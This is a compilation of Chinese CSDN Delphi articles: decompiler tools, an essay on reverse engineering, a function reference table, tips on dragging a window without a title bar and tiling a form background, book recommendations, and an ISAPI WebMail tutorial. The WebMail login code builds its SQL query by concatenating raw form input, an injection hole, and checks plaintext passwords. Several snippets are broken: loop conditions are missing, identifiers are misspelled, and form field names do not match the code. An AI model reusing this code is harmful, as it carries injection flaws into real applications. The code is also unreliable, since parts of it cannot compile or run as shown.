  • 通过Win32 API的“EnumResourceName”函数找寻RCDATA资源。
  • 载入每个发现的DFM块，解码它并以表的形式（包括它们的名称）存储在内存中。
  • 在程序的主窗口我们可以以文本方式可视化所有载入可执行文件的所有的DFM。
  • 最后，程序可以保存到DFM选择的磁盘，作为ASCII文件（.RC）或作为二进制块（DAT）连接到可执行文件中。

Exe2Dpr

如果你试图放松你的工程源代码，这个Delphi工程源代码救助器可以挽救丢失的源码部分。救助器生成所有的带已分配属性和事件的工程表单和数据模块。生成的事件过程没有主程序（它不是反编译器），但又在可执行文件中的代码地址。这个工具没有GUI—它使用命令行的形式：'exe2dpr [-o] exeFile'。工程源代码在当前目录创建。如果你想覆盖当前目录的任何已存在的文件，就可以使用选项 '-o'。


CSDN_文档中心_Delphi工具——反编译Delphi（一）

反编译Delphi

第一节 关于反向工程（About Reverse Engineering）

反编译？反向？解密？（Decompilation? Reverse? Cracking?）

简单的说，反编译是编译过程的反转：把一个可执行文件翻译为更高级语言。假如你丢失了你的 Delphi工程的源程序而只有可执行文件：如果源程序已不可得则反向工程（反编译）是有用的。

耶，“源程序不可得”，这是否意味着我们可以反编译别的程序员开发的Delphi工程呢？嗯，对也不对......

真正的反编译可能吗？（Is true decompilation possible?）

不，当然不行。完全自动的反编译是不可能的—没有一个反编译器可以正确的重生出原始代码。

当Delphi工程被编译和连接从而产生一个独立的可执行文件，程序中使用的大部分的名称都被转换为地址。名称的丢失意味着反编译器必须为所有的常量、变量、函数和过程创建唯一的名称。即使在某种程度上反编译是成功的，产生的“源代码”仍缺少了原始含义的变量和函数名。

显而易见，原始编程语言的语法在可执行文件中已不存在。所以，让反编译器对可执行文件的连续的机器语言指令进行翻译并判断出原始语言指令是非常困难的。

为什么要使用并且什么时候使用呢（Why and when to use.）

反向工程因为以下几个原因而使用：

  • 丢失源码的恢复；
  • 把应用程序移入新的硬件平台；
  • 判断程序中是否存在病毒或恶意代码；
  • 当程序拥有者不能更正错误时的程序错误的更正；
  • 其它开发人员的程序源代码的恢复（如：测定一个算法）

这合法吗？（Is this legal?）

反向工程不是解密，尽管很难在两者之间划一个明晰的界限。计算机程序被版权和商标法保护。不同的国家对版权拥有者的权利有着不同的解释。最共同的解释是，下列情况下的反编译是可以的：

为了更好的解释的目的，而接口说明已不可得；为了错位更正的目的，而版权拥有者不能进行更正；为了判断程序的部分内容是否被保护。当然，如果你不能肯定是否被允许反汇编某些程序的可执行文件时，你应该很小心或者联系你的律师。

注：如果你正寻找着怎样破解Delphi、钥匙产生器或仅仅是序列号：那么你找错地方了。请保证你在这儿所写下或所介绍的每件事都仅仅是为了研究和教育的目的。


CSDN_文档中心_delphi函数参考手册

名称 类型 说明

abort 函数 引起放弃的意外处理

abs 函数 绝对值函数

addexitproc 函数 将一过程添加到运行时库的结束过程表中

addr 函数 返回指定对象的地址

adjustlinebreaks 函数 将给定字符串的行分隔符调整为cr/lf序列

align 属性 使控件位于窗口某部分

alignment 属性 控件标签的文字位置

allocmem 函数 在堆栈上分配给定大小的块

allowgrayed 属性 允许一个灰度选择

ansicomparestr 函数 比较字符串（区分大小写）

ansicomparetext 函数 比较字符串（不区分大小写）

ansilowercase 函数 将字符转换为小写

ansiuppercase 函数 将字符转换为大写

append 函数 以附加的方式打开已有的文件

arctan 函数 余切函数

assignfile 函数 给文件变量赋一外部文件名

assigned 函数 测试函数或过程变量是否为空

autosize 属性 自动控制标签的大小

backgrounddi2001.jpg 属性 背景色

beginthread 函数 以适当的方式建立用于内存管理的线程

bevelinner 属性 控件方框的内框方式

bevelouter 属性 控件方框的外框方式

bevelwidth 属性 控件方框的外框宽度

blockread 函数 读一个或多个记录到变量中

blockwrite 函数 从变量中写一个或多个记录

borderstyle 属性 边界类型

borderwidth 属性 边界宽度

break 命令 终止for、while、repeat循环语句

brush 属性 画刷

caption 属性 标签文字的内容

changefileext 函数 改变文件的后缀

chdir 函数 改变当前目录

checked 属性 确定复选框选中状态

chr 函数 返回指定序数的字符

closefile 命令 关闭打开的文件

color 属性 标签的颜色

columns 属性 显示的列数

comparestr 函数 比较字符串（区分大小写）

concat 函数 合并字符串

continue 命令 继续for、while、repeat的下一个循环

copy 函数 返回一字符串的子串

cos 函数 余弦函数

ctl3d 属性 是否具有3d效果

cursor 属性 鼠标指针移入后的形状

date 函数 返回当前的日期

datetimetofiledate 函数 将delphi的日期格式转换为dos的日期格式

datetimetostr 函数 将日期时间格式转换为字符串

datetimetostring 函数 将日期时间格式转换为字符串

datetostr 函数 将日期格式转换为字符串

dayofweek 函数 返回星期的数值

dec 函数 递减变量值

decodedate 函数 将日期格式分解为年月日

decodetime 函数 将时间格式分解为时、分、秒、毫秒

delete 函数 从字符串中删除子串

deletefile 命令 删除文件

diskfree 函数 返回剩余磁盘空间的大小

disksize 函数 返回指定磁盘的容量

dispose 函数 释放动态变量所占的空间

disposestr 函数 释放字符串在堆栈中的内存空间

ditherbackgrounddi2001.jpg?使背景色的色彩加重或减少50%

dragcursor 属性 当鼠标按下时光标的形状

dragmode 属性 按动的作用方式

dropdowncount 属性 容许的显示数据项的数目

editmask 属性 编辑模式

enabled 属性 是否使标签呈现打开状态

encodedate 函数 将年月日合成为日期格式

encodetime 函数 将时、分、秒、毫秒合成为时间格式

endmargin 属性 末尾边缘

eof 函数 对有类型或无类型文件测试是否到文件尾

eoln 函数 返回文本文件的行结束状态

erase 命令 删除外部文件

exceptaddr 函数 返回引起当前意外的地址

exclude 函数 从集合中删除一些元素

exceptobject 函数 返回当前意外的索引

exit 命令 立即从当前的语句块中退出

exp 函数 指数函数

expandfilename 函数 返回包含绝对路径的字符串

extendedselect 属性 是否允许存在选择模式，true时，multiselect才有意义

extractfiledir 函数 返回驱动器和路径

extractfileext 函数 返回文件的后缀

extractfilename 函数 返回文件名

extractfilepath 函数 返回指定文件的路径

fileage 函数 返回文件已存在的时间

fileclose 命令 关闭指定的文件

filecreate 命令 用指定的文件名建立新文件

filedatetodatetime 函数 将dos的日期格式转换为delphi的日期格式

fileexists 函数 检查文件是否存在

filegatattr 函数 返回文件的属性

filegetdate 函数 返回文件的dos日期时间标记

fileopen 命令 用指定的存取模式打开指定的文件

filepos 函数 返回文件的当前指针位置

fileread 命令 从指定的文件读取

filesearch 命令 在目录中搜索指定的文件

fileseek 函数 改变文件的指针

filesetattr 函数 设置文件属性

filesetdate 函数 设置文件的dos日期时间标记

filesize 函数 返回当前文件的大小

filewrite 函数 对指定的文件做写操作

fillchar 函数 用指定的值填充连续字节的数

findclose 命令 终止findfirst/findnext序列

findfirst 命令 对指定的文件名及属性搜索目录

findnext 命令 返回与文件名及属性匹配的下一入口

floattodecimal 函数 将浮点数转换为十进制数

floattostrf 函数 将浮点数转换为字符串

floattostr 函数 将浮点数转换为字符串

floattotext 函数 将给定的浮点数转换为十进制数

floattotextfmt 函数 将给定的浮点数转换为十进制数

flush 函数 将缓冲区的内容刷新到输出的文本文件中

fmtloadstr 函数 从程序的资源字符串表中装载字符串

fmtstr 函数 格式化一系列的参数，其结果以参数result返回

font 属性 设置字体

format 函数 格式化一系列的参数并返回pascal字符串

formatbuf 函数 格式化一系列的参数

formatdatetime 函数 用指定的格式来格式化日期和时间

formatfloat 函数 指定浮点数格式

frac 函数 返回参数的小数部分

freemem 函数 按给定大小释放动态变量所占的空间

getdir 返回指定驱动器的当前目录

getheapstatus 返回内存管理器的当前状态

getmem 建立一指定大小的动态变量，并将指针指向该处

getmemorymanager 返回内存管理器的入口点

glyph 函数 按钮上的图象

halt 停止程序的执行并返回到操作系统

hi 返回参数的高地址位

high 返回参数的上限值

hint 属性 提示信息

int 返回参数的整数部分

include 添加元素到集合中

insert 在字符串中插入子串

inttohex 将整型数转换为十六进制数

inttostr 将整型数转换为字符串

ioresult 返回最新的i/o操作完成状态

isvalidident 测试字符串是否为有效的标识符

items 属性 默认显示的节点

kind 属性 摆放样式

largechange 属性 最大改变值

layout 属性 图象布局

length 函数 返回字符串的动态长度

lines 属性 缺省显示内容

ln 函数 自然对数函数

lo 函数 返回参数的低地址位

loadstr 函数 从应用程序的可执行文件中装载字符资源

lowercase 函数 将给定的字符串变为小写

low 函数 返回参数的下限值

max 属性 最大值

maxlength 属性 最大长度

min 属性 最小值

mkdir 命令 建立一子目录

move 函数 从源到目标复制字节

multiselect 属性 允许同时选择几个数据项

name 属性 控件的名字

new 函数 建立新的动态变量并设置一指针变量指向他

newstr 函数 在堆栈上分配新的字符串

now 函数 返回当前的日期和时间

odd 测试参数是否为奇数

onactivate 事件 焦点移到窗体上时触发

onclick 事件 单击窗体空白区域触发

ondblclick 事件 双击窗体空白区域触发

onclosequery 事件 使用者试图关闭窗体触发

onclose 事件 窗体关闭后才触发

oncreate 事件 窗体第一次创建时触发

ondeactivate 事件 用户切换到另一应用程序触发

ondragdrop 事件 鼠标拖放操作结束时触发

ondragover 事件 有其他控件从他上面移过触发

onmousedown 事件 按下鼠标键时触发

onmouseup 事件 释放鼠标键时触发

onmousemove 事件 移动鼠标时触发

onhide 事件 隐藏窗体时触发

onkeydown 事件 按下键盘某键时触发

onkeypress 事件 按下键盘上的单个字符键时触发

onkeyup 事件 释放键盘上的某键时触发

onpaint 事件 窗体上有新部分暴露出来触发

onresize 事件 重新调整窗体大小触发

onshow 事件 在窗体实际显示之前瞬间触发

ord 返回序数类的序数

outlinestyle 属性 类型

outofmemoryerror 引起outofmemory意外

pageindex 属性 页索引

pages 属性 页

paramcount 函数 返回在命令行上传递给程序的参数数量

paramstr 函数 返回指定的命令行参数

pen 属性 画刷设置

pi 函数 返回圆周率pi

picture 属性 显示图象

pictureclosed 属性 设置closed位图

pictureleaf 属性 设置leaf位图

pictureminus 属性 设置minus位图

pictureopen 属性 设置open位图

pictureplus 属性 设置plus位图

pos 函数 在字符串中搜索子串

pred 函数 返回先前的参数

random 函数 返回一随机函数

randomize 函数 用一随机数初始化内置的随机数生成器

read 函数 对有格式的文件，读一文件组件到变量中；

对文本文件，读一个或多个值到一个或多个变量中

readln 函数 执行read过程，然后跳到文件下一行

readonly 属性 只读属性

reallocmem 函数 分配一动态变量

rename 函数 重命名外部文件

renamefile 函数 对文件重命名

reset 函数 打开已有的文件

rewrite 函数 建立并打开一新的文件

rmdir 函数 删除空的子目录

round 函数 将实数值舍入为整型值

runerror 函数 停止程序的执行

scrollbars 属性 滚动条状态

seek 函数 将文件的当前指针移动到指定的组件上

seekeof 函数 返回文件的文件结束状态

seekeoln 函数 返回文件的行结束状态

selectedcolor 属性 选中颜色

setmemorymanager 函数 设置内存管理器的入口点

settextbuf 函数 给文本文件指定i/o缓冲区

shape 属性 显示的形状

showexception 函数 显示意外消息与地址

sin 函数 正弦函数

sizeof 函数 返回参数所占的字节数

smallchange 属性 最小改变值

sorted 属性 是否允许排序

sqr 函数 平方函数

sqrt 函数 平方根函数

startmargin 属性 开始边缘

state 属性 控件当前状态

str 函数 将数值转换为字符串

stralloc 函数 给以null结束的字符串分配最大长度-1的缓冲区

strbufsize 函数 返回存储在由stralloc分配的字符缓冲区的最大字符数

strcat 函数 将一字符串附加到另一字符串尾并返回合并的字符串

strcomp 函数 比较两个字符串

strcopy 函数 将一个字符串复制到另一个字符串中

strdispose 函数 释放堆栈上的字符串

strecopy 函数 将一字符串复制到另一个字符串并返回结果字符串尾部的指针

strend 函数 返回指向字符串尾部的指针

stretch 属性 自动适应控件的大小

strfmt 函数 格式化一系列的参数

stricomp 函数 比较两个字符串（不区分大小写）

stringtowidechar 函数 将ansi字符串转换为unicode字符串

strlcat 函数 将一字符串中的字符附加到另一字符串尾并返回合并的字符串

strlcomp 函数 以最大长度比较两个字符串

strlcopy 函数 将一个字符串中的字符复制到另一个字符串中

strlen 函数 返回字符串中的字符数

strlfmt 函数 格式化一系列的参数，其结果中包含有指向目标缓冲区的指针

strlicomp 函数 以最大长度比较两个字符串（不区分大小写）

strlower 函数 将字符串中的字符转换为小写

strmove 函数 将一个字符串中的字符复制到另一个字符串中

strnew 函数 在堆栈上分配一个字符串

strpas 函数 将以null结束的字符串转换为pascal类的字符串

strpcopy 函数 将pascal类的字符串复制为以null结束的字符串

strplcopy 函数 从pascal类的最大长度字符串复制为以null结束的字符串

strpos 函数 返回一个字符串在另一个字符串中首次出现指针

strrscan 函数 返回字符串中最后出现字符的指针

strscan 函数 返回字符串中出现首字符的指针

strtodate 函数 将字符串转换为日期格式

strtodatetime 函数 将字符串转换为日期/时间格式

strtofloat 函数 将给定的字符串转换为浮点数

strtoint 函数 将字符串转换为整型

strtointdef 函数 将字符串转换为整型或默认值

strtotime 函数 将字符串转换为时间格式

strupper 函数 将字符串中的字符转换为大写

style 属性 类型选择

suce 函数 返回后继的参数

swap 函数 交换参数的高低地址位

tabs 属性 标记每一项的内容

tabindex 属性 标记索引

text 属性 显示的文本

texttofloat 函数 将字符串（以null结束的格式）转换为浮点数

time 函数 返回当前的时间

timetostr 函数 将时间格式转换为字符串

trim 函数 从给定的字符串中删除前导和尾部的空格及控制字符

trimleft 函数 从给定的字符串中删除首部的空格及控制字符

trimright 函数 从给定的字符串中删除尾部的空格及控制字符

trunc 函数 将实型值截取为整型值

truncate 函数 截去当前文件位置后的内容

unselectedcolor 属性 未选中颜色

upcase 将字符转换为大写

uppercase 将给定的字符串变为大写

val 函数 将字符串转换为整型值

vararraycreate 函数 以给定的界限和维数建立变体数组

vararraydimcount 函数 返回给定变体的维数

vararrayhighbound 函数 返回给定变体数组维数的上界

vararraylock 函数 锁定给定的变体数组

vararraylowbound 函数 返回给定变体数组维数的下界

vararrayof 函数 返回指定变体的数组元素

vararrayredim 函数 通过改变上限来调整变体的大小

vararrayunlock 函数 解锁指定的变体数组

varastype 函数 将变体转换为指定的类型

varcase 函数 将变体转换为指定的类型并保存他

varclear 函数 清除指定的变体

varcopy 函数 将指定的变体复制为指定的变体

varformdatetime 函数 返回包含日期时间的变体

varisarray 函数 测试变体是否为数组

varisempty 函数 测试变体是否为unassigned

varisnull 函数 测试变体是否为null

vartodatetime 函数 将给定的变体转换为日期时间

vartype 函数 将变体转换为指定的类型并保存他

visible 属性 控件的可见性

wantreturns 属性 为true时，按回车键产生一个回车符；

为false时，按下ctrl+enter才产生回车符

write 命令 对有格式的文件，写一变量到文件组件中；

对文本文件，写一个或多个值到文件中

writeln 命令 执行write过程，然后输出一行结束标志

widecharlentostring 函数 将ansi字符串转换为unicode字符串

widecharlentostrwar 函数 将unicode字符串转换为ansi字符串变量

widechartostring 函数 将unicode字符串转换为ansi字符串

widechartostrvar 函数 将unicode字符串转换为ansi字符串变量


CSDN_文档中心_Delphi函数快速参考

Delphi之常用函数

一.Definitions and Compiler Directives

二 .Format Strings And Date/Time Formats

四.Math Expressions and Numeric Variables

五.Messages and Bitwise Operations and For/While/Case Instructions

六.String Manipulation and Sets and Pointer

七.Virtual Key Table

八.File and Non-Standard Color


CSDN_文档中心_delphi技巧——移动无标题窗口

delphi技巧——移动无标题窗口

关键词：移动，消息，无标题

作者：朱能文

我们都知道windows是通过标题栏来移动窗体的，当我们在标题栏上按下鼠标左键时，windows将发送wM_NCHitTest消息，来告诉系统要移动窗体。但我们在实际编程时，有时为了界面的需要或特殊的要求，窗体没有标题栏，我们必须通过程序来移动窗体。下面我将介绍几种移动窗体的方法和技巧。

方法一：根据鼠标按下和移动时的位置差，来计算窗体的位置。需要定义的变量如下：

var

Opos, Cpos: Tpoint;

Flag: boolean = false;

处理OnMouseDown事件代码：

Flag := true;

Opos.X := X;

Opos.Y := Y;

处理OnMouseMove事件代码：

if Flag then

begin

Cpos.X := X;

Cpos.y := Y;

Left := Left + Cpos.X - Opos.X;

Top := Top + Cpos.Y - Opos.Y;

end;

处理OnMouseMove事件代码：

Flag := false;

方法二：用户自定义消息，拦截“wM_NCHitTest”消息，将消息值“htclient”转为“htcaption”。实现如下：

先定义一消息常量：const WM_MyTest = WM_User+200;

在private部分声明过程：

procedure MoveClient(var message: Tmessage); message wM_NCHitTest;

过程的实现：

inHerited;//继承，窗体可以继续处理以后的事件

if Message.Result=htclient then

Message.Result := htcaption;

方法三：直接向窗体发送一条“wm_SysCommand”消息，需要使用未归档的“sc_DragMove”标志，定义如下：

const sc_DragMove = $f012;

我们只能向TWinControl派生组件发送该消息，而且只能响应鼠标按下事件，因为系统会在此时捕获鼠标（当释放鼠标键时，拖动操作是没有意义的）。在窗体的OnMouseDown事件处理代码：

ReleaseCapture; //释放鼠标的捕获状态；

(Sender as TWinControl).PerForm(wm_SysCommand,sc_DragMove,0);//向窗体发送移动消息；

上面我提供了三种移动无标题栏窗体的方法，方法一比较容易理解，且不需要理解windows消息处理机制，但此方法需要对窗体的鼠标事件处理太多，显得不够简洁。方法二通过消息转换，这种方法比较容易实现，但有一个缺点，窗体将不再响应鼠标其他消息，如果窗体上有鼠标右键处理，那么右键将得不到响应。方法三是最好的一种方法，通过定义sc_DragMove消息，注意sc_DragMove的值必须是$f012或$f011，通过PerForm方法发送sc_DragMove消息，这种方法窗体还可以处理其他鼠标事件，而不象方法二，所以我建议大家可以用方法三来移动无标题的窗体比较好。（以上几种方法我都在delphi6.0+windows2k上通过）。


CSDN_文档中心_Delphi技巧--有“背景”的窗体

    许多网页都有背景图案，这样可以使页面看起来更加醒目。不过在Ｄｅｌｐｈｉ里你也可以设计这种类型的窗体。马上会想到的一个方法就是使用ｉｍａｇｅ构件，然后指定一幅图片就可以啦。这样做当然是可行的，但是一幅可以充满整个窗体的ＢＭＰ图，要占用很多的内存空间，这样就划不来了。最好的办法是只下载一幅很小的ＢＭＰ图，然后把它粘贴到整个窗体上。

    　这里我没有采用Image构件，而是使用了Bitmap构件，用它来下载一幅很小的位图。首先是在窗体的Public部分加入变量定义：Bitmap：TBitmap；然后在窗体的OnCreate事件中生成此对象，代码如下：

    procedure TForm1.FormCreate(Sender:Tobject);

    begin Bitmap:=TBitmap.Create;

    Bitmap.LoadFormFile('1.bmp');//图文件1.bmp只有1KB大小

    end;

    第三步是在窗体的OnPaint事件中把位图的图案粘贴到整个窗体上。添加代码如下：procedure TForm1.FormPaint(Sender:Tobject)var x,y:integer;begin　y:=0;while　y
    do begin X:=0;

    while X
    do begin cancas.Draw(X,Y,Bitmap);

    X:=X+Bitmap.Width;

    end;

    Y:=Y+Bitmap.Heigth;

    end;end;　最后不要忘了在窗体的OnDestory事件中释放Bitmap对象。具体代码：Bitmap.Free；好了，这样窗体显示时就会像网页那样带有背景，而且并没占多大的内存空间。


CSDN_文档中心_Delphi精品书籍推荐

Delphi精品书籍推荐

作者：Musicwind®

创建时间：2001-07-10

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

运用Delphi从事开发工作已经三年有余，其间接触过不少这方面的图书，有优亦有劣。总体的感觉是精品书国外作者写的居多，而国内作者的原创作品从整体上而言还稍逊一筹。当然，不否认国内也有出精品书的作者，象李维，象蒋涛；但是也得承认许多作品（原创和译作）真是差强人意（比如徐某某的作品，比如XX出版社），误人子弟！这些品质低劣的书籍，充斥书市，不能不说是出版界的一大悲哀！

其实运用Delphi做软件开发，往往并不能仅仅关注于Delphi这个开发工具本身，因为有相当一部分的技术问题不是来自于开发工具，而是来自于系统平台。Delphi最常见的运行平台是Windows，由此引入的问题是，要想真正运用Delphi做好开发工作，对于Windows操作系统的认知与了解是必不可少的。

所以，以下推荐的书籍虽然是关于Delphi开发的专著，但是或多或少都有些对于操作系统的阐述。这也是我的想要强调的一点：不能仅仅关注开发工具，还应当关注系统平台。更深刻的理解系统平台，对于开发工作的开展只有好处，没有坏处。

1．《Delphi 2程序设计大全》

这是我第一本要推荐的书籍。这是精品中的精品。如果手头没有，能在书店见到，请一定不要吝啬银子将它买下。遗憾的是，此书非国人所写。

能向你推荐这么一本书，表明了我不是一个喜欢追逐潮流的人。好书就是好书，不论Delphi现在出了6.0或是更高的版本，我还是坚持向你推荐。该书的作者是Charles Calvert，曾出版过《Turbo Pascal 101》、《Teach Yourself Windows Programming in 21 days》等书。从这些书的名字来看，都是入门级的，但是请不要因此小看作者的实力。能够写入门级的书，并不表示作者的水平就只是入门级或者稍好一点，而表明作者拥有把一些复杂的概念用浅显易懂的方式表达清楚的能力，而这种能力，是在对这些概念有深刻理解的基础上才能获得的。

该书分为8个部分，分别是Object Pascal，Win32，Windows Api，数据库，对象（还有组件），Ole与Com，多媒体和游戏，Internet等。几乎涵盖了Delphi能够触及的方方面面。而这其中对于Object Pascal的讲解，对于Win32及Windows Api还有组件与对象部分的阐述尤为精彩。无论你是高手还是低手，看了此书，定会受益匪浅。

以下为该书的相关信息：

书名：《Delphi 2程序设计大全》

英文原名：Delphi 2 Unleashed

作者：(美) Charles Calvert

翻译：横空翻译组

出版：机械工业出版社 西蒙与舒斯特国际出版公司

时间：1997.12

价格：RMB 133.00

推荐度：☆☆☆☆☆

2．《Delphi 5开发人员指南》

这是Borland的推荐用书。可以想见，这绝对是本好书。我都有些后悔，为什么这么晚我才得以一睹芳容呢？这本书的特色在于它绝对是一本开发人员的宝典，它不仅讲述了方方面面的技术问题，还提供了代码标准的文档。因为是Borland出的书，所以不论在Object Pascal上，还是基于组件的开发上，不论是对于Windows Api讲解还是对于数据库技术的阐述上，都显得系统而深刻。总而言之，给人一种名门正派的感觉。（不知道是不是心理作用？看了书再定夺吧！）

以下列出该书的目录结构，以让大家对于该书的内容有个大致的了解。

1） 第一部分：快速开发的基础

a． Delphi 5 下的Windows编程

b． Object Pascal 语言

c． Windows Api

d． 应用程序框架和设计

e． 理解Windows消息

f． 代码标准文档

g． 使用ActiveX控件

2） 第二部分：高级技术

a． 使用GDI和字体的图像编程

b． 动态链接库

c． Delphi 5的打印

d． 编写多线程应用程序

e． 文件处理

f． 核心技术

g． 获取系统信息

h． 移植到Delphi 5

i． MDI应用程序

j． 用剪贴板共享信息

k． 多媒体编程

l． 测试与调试

3） 第三部分：基于组件的开发

a． VCL元素与运行期类型信息

b． 编写自定义组件

c． 高级组件技术

d． COM和ActiveX

e． 扩展Windows外壳

f． 创建ActiveX控件

g． 使用Delphi Open Tools Api

h． 使用Delphi 开发CORBA

4） 第四部分：开发数据库

a． 编写桌面数据库应用程序

b． 开发客户/服务端应用程序

c． 扩展数据库VCL

d． 用WebBroker使应用程序具有Internet功能

e． MIDAS开发

5） 第五部分：快速开发数据库应用程序

a． 货物管理程序：客户/服务器开发

b． 客户跟踪系统：MIDAS开发

c． 错误报告工具：桌面数据库开发

d． 错误报告工具：使用WebBroker

6） 第六部分：附录

a． 错误信息与异常

b． BDE错误代码

c． 参考文献

以下为该书的出版信息：

书名：《Delphi 5开发人员指南》

英文原名：Delphi 5 Developer’s Guide

作者：(美) Steve Teixeira , Xavier Pacheco

翻译：任旭钧，王永生，冯泽波

出版：机械工业出版社 西蒙与舒斯特国际出版公司

时间：2000.7

价格：RMB 138.00

推荐度：☆☆☆☆☆

3．《Delphi 6开发人员指南》（英文版）

不用多说什么，我想读者肯定认同这本书是到目前为止，最具权威的关于Delphi的专著。对于有些英文基础的读者，我有个忠告：不要等待中文版了，现在就看！

以下是该书的相关信息：

封面：如下图；

书名：《Developer’s Guider Delphi 6 for Windows》

作者：Borland Software Corporation

出版：Borland Publisher

时间：不详

价格：不详

推荐度：☆☆☆☆☆

[文终]

更多文章：http://www.csdn.net/develop/my_article.asp?author=Musicwind


CSDN_文档中心_Delphi精英

Delphi精英 从一开始，Delphi总是有一个特殊的光环环绕着她。这归功于一个庞大的特殊群体的人们，对他们最好的称谓是：Delphi精英。 这是一些非凡的人们，他们无私的奉献自己的时间和精力来将Delphi传播给其他人。没有这些非凡的人们的努力Delphi就不会有今天。他们的艰苦工作和奉献不应被忽视。 下面的人们在2001 Borland年会被Delphi社区提名并宣布共同分享Delphi精英奖。 Jedi小组（国际Delphi开发者社区） 主页： http://www.delphi-jedi.org/Jedi:HOMEPAGE:49210 往届获奖者名单： Marco Cantu 意大利(作家,演说家,培训讲师) 主页： http://www.marcocantu.com/ Robert Czerwinski 波兰(Delphi Super Page网站创建者)主页： http://delphi.icm.edu.pl/ Fedor Koshevnikov, Igor Pavluk, and Serge Korolev 俄罗斯(RxLib组件作者)主页： www.sgbsoftware.com Maxim Peresada 俄罗斯(Torry's Delphi Pages网站创建者) 主页： http://www.torry.ru/ Bob Swart a.k.a. Dr. Bob 美国(作家,演说家,培训讲师) 主页： http://www.drbob42.com/ 如果你使用了这些人们的服务，花一分钟时间为他们所做的伟大工作和过去你从他们那里获得的帮助向他们表示感谢。如果你以前从来没有听说过他们的名字，请用几分钟时间去浏览他们的主页并感受关于这些Delphi精英的一切。


CSDN_文档中心_Delphi开发WEBMAIL程序

Delphi4开发WEBMAIL程序
    常，实现WEBMAIL采用mailto.exe的CGI、在HTML文件中写入“< form action="mailto:电子邮箱地址" method=post >”语句或者调用WINDOWS API函数。采用WINDOWS API 和在HTML文件中写入“< form action="mailto:电子邮箱地址" method=post >”语句都要求用户的浏览器装入EXCHANGE、OUTLOOKEXPRESS、或OUTLOOK等软件，而且还有一些浏览器不支持MAILTO语句。而采用CGI的形式实现WEBMAIL对用户的浏览器没有要求，但效率不高。CGI技术正在逐渐被ISAPI/NSAPI技术所取代。本文就来讨论一下采用ISAPI技术实现WEBMAIL。

    使用Delphi 4开发Web Server程序是非常简单的，Delphi 4中提供了大量的元件和对象，支持Web Server程序的开发。 下面通过一个例子来介绍如何利用DELPHI开发一个响应用户输入的ISAPI的WEBMAIL程序。只有在发送服务器上注册的用户才能通过在浏览器发送邮件。为了简单，程序没有对传送的数据提供保密。

    首先，在WEB服务器端安装数据库引擎dbe,并设置好数据库别名：yh,指向一个包含用户名和用户密码的数据库文件user.db。接着建立两个HTML文件，名字分别为：dl.html,qd.html，放在WEB服务器的缺省目录下（如：C：\INETPUB\WWWROOT）。

dl.html的内容如下：

< html >

< head >< title >　发送邮件系统< /title >< /head >

  < body >

   < h1 >发送邮件系统< /h1 >

   < p > 请输入您的用户名及密码。< /p >

   < form method=”post” action="/scripts/xsmd" >

     < p >用户名：< input type="text" length=10

         name="username" >

        密码：< input type="password"

               length=10　name="password" >< /p >

     < p >< input type="submit" value="确定"　>

     < input type="reset" value="清除" >< /p >

   < /form >

< /body >

< /html >

qd.html文件内容如下：

< html >< head >< title >填表< /title >< /head >

  < body >

    < form method=”post” action="feedback" >

       < p >请填入接收邮件地址:toaddress:

      < input type=”text” length=20

        name=”toaddress” >< /p >

       < p >请填入主题。< input type="text"

           length=20 name="subject" >< /p >

       < p >内容：< /p >

       < p >< input type=“textarea”length=40

        width=40 name=”body” >< /p >

       < p >< input type="submit" value="确定" >

    < input type="reset" value="清除" >< /p >

     < /form >

  < /body >

< /html >

在DELPHI中新建一个基于ISAPI的WEB SERVER APPLICATION，手动增加nmsmtp1,query1,pageproducer1。

其中：pageproducer1的property: htmlfile：c:\inetpub\www.root\qd.html。nmsmtp1的 property:host(发送邮件服务器的地址。)在这里为smtp.netease.com.。port:25。 全局变量为： sername:string;flag:boolean;

增加一个路径为/feedback的动作项，其代码如下：

procedure TWebModule1.WebModule1WebActionItem1

   Action(Sender: TObject;

  Request: TWebRequest; Response:

   TWebResponse; var Handled: Boolean);

Var　Count:integer;

     S:string;

Begin

  Query1.close;

  Query1.sql.clear;

  S:=’select count(username) from

     user.db where username=”’;

  S:=s+request.contentfields.values[‘username’]+’”’;

  S:=s+’ and password=”’;

  S:=s+request.contentfields.values[‘psword’]+’”’;

  Query1.sql.add(S);

  Query1.open;

If query1.count=0

then response.content:=’< html >< head >< title >

< /title >< body >用户名、密码不正确，请重新输入

< /body >< /html >’

Else

   Username:=request.contentfields.values[‘username’];

   Response.content:=pageproducer1.content;

End;

再增加一个路径为/sendmail 的动作项，

      它的程序代码如下：

procedure TWebModule1.WebModule1Web

     ActionItem2Action(Sender: TObject;

  Request: TWebRequest; Response:

TWebResponse; var Handled: Boolean);

Var body:string;

Begin

  Flag:=true;

  body:=request.contentfields.values[‘body’];

  Pageproducer1.htmldoc.clear;

  Pageproducer1.htmldoc.add(‘< html >< body >’);

  Nmsmtp1.postmessage.clear;

  Nmsmtp1.postmessage.fromaddress:=username+

  ’@netease.com’;

  Nmsmtp1.postmessage.from:=username;

  Nmsmtp1.postmessage.body.add(body);

  Nmsmtp1.postmessage.toaddress.add

  (request.contentfields.values[‘toaddress’]);

  Nmsmtp1.postmessage.subject:=

  request.contentfields.values[‘subject’]；

  Nmsmtp1.connect;

  If flag=true then begin　Nmsmtp1.sendmail;

  nmsmtp1.disconntent;end

  pageproducer1.htmldoc.add

  (‘< /body >< /html >’);

  response.content:=pageproducer1.content;

end;

增加nmsmtp1的事件如下：

procedure TWebModule1.NMSMTP1Connect(Sender: TObject);

begin

  pageproducer1.htmldoc.add

('< p >已经和发送邮件服务器连接< /p >');

end;

procedure TWebModule1.NMSMTP1Connection

Failed(Sender: TObject);

begin

  flag:=false;

  pageproducer1.htmldoc.add

('< p >连接失败< /P >');

end;

procedure TWebModule1.NMSMTP1ConnectionRequired

(var Handled: Boolean);

begin

  pageproducer1.htmldoc.add('< p >要求进行连接< /p >');

end;

procedure TWebModule1.NMSMTP1Failure(Sender: TObject);

begin

  pageproducer1.htmldoc.add('< p >发送邮件失败< /p >');

  flag:=false;

end;

procedure TWebModule1.NMSMTP1Header

Incomplete(var handled: Boolean;

  hiType: Integer);

begin

  pageproducer1.htmldoc.add('< p >head不完整< /p >');

  flag:=false;

end;

procedure TWebModule1.NMSMTP1InvalidHost

(var Handled: Boolean);

begin

  pageproducer1.htmldoc.add('< p >

发送邮件服务器地址无效< /p >');

  flag:=false;

end;

procedure TWebModule1.NMSMTP1RecipientNot

Found(Recipient: String);

begin

  pageproducer1.htmldoc.add

('< p >接受邮件地址不正确< /p >');

